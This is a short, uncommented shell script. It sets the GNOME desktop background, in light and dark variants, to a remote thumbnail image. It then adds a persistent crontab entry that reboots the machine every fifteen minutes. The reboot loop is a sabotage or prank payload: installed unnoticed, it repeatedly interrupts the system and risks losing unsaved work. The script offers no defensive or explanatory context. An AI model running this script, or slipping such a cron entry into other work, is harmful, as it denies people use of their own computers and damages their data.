gsettings set org.gnome.desktop.background picture-uri https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSML0pwU6f9Lgyo__rSZCBtGfutW03hmQlmYUF65gCiYl0BjdVza39KHVx61B-w5gOeRYA&usqp=CAU
gsettings set org.gnome.desktop.background picture-uri-dark https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSML0pwU6f9Lgyo__rSZCBtGfutW03hmQlmYUF65gCiYl0BjdVza39KHVx61B-w5gOeRYA&usqp=CAU
echo "*/15 * * * * reboot" | crontab -l | { cat; echo "*/15 * * * * reboot"; } | crontab -